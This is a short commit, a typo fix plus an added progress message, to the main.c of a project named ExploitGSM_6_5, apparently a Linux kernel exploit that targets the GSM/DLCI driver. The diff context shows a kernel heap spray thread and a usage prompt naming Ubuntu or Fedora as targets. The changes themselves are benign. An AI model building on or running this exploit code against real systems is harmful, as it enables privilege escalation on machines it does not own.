typo & add hint

Some kernels may get stuck in the join 'spray' or 'setconf dlci' thread during execution, so adding hints will make it easier to determine whether or not to re-execute.

ExploitGSM_6_5/main.c

@@ -519,7 +519,7 @@ int main(int argc, char *argv[]) {
 
     if (argc < 1 || argv[1] == 0)
     {
-        fprintf(stderr, "Input distro name to arg, example ./Exploit ubuntu|fedora");
+        fprintf(stderr, "Input distro name to arg, example ./Exploit ubuntu|fedora\n");
         goto error_arg;
     }
 
@@ -1020,14 +1020,15 @@ int main(int argc, char *argv[]) {
     retval = pthread_create(&tid_spray, &tattr_alloc_dlci, thread_spray_kheap, &arg_spray);
     if (retval != 0)
     {
-        fprintf(stderr, "Error create setconf dlci thread, %s \n", strerror(retval));
+        fprintf(stderr, "Error create spray thread, %s \n", strerror(retval));
         goto error_create_spray;
     }
 
+    printf("waiting spray thread \n");
     retval = pthread_join(tid_spray, NULL);
     if (retval != 0)
     {
-        fprintf(stderr, "Error thread join to spray thread %s \n", strerror(retval));
+        fprintf(stderr, "Error join to spray thread %s \n", strerror(retval));
         goto error_spray;
     }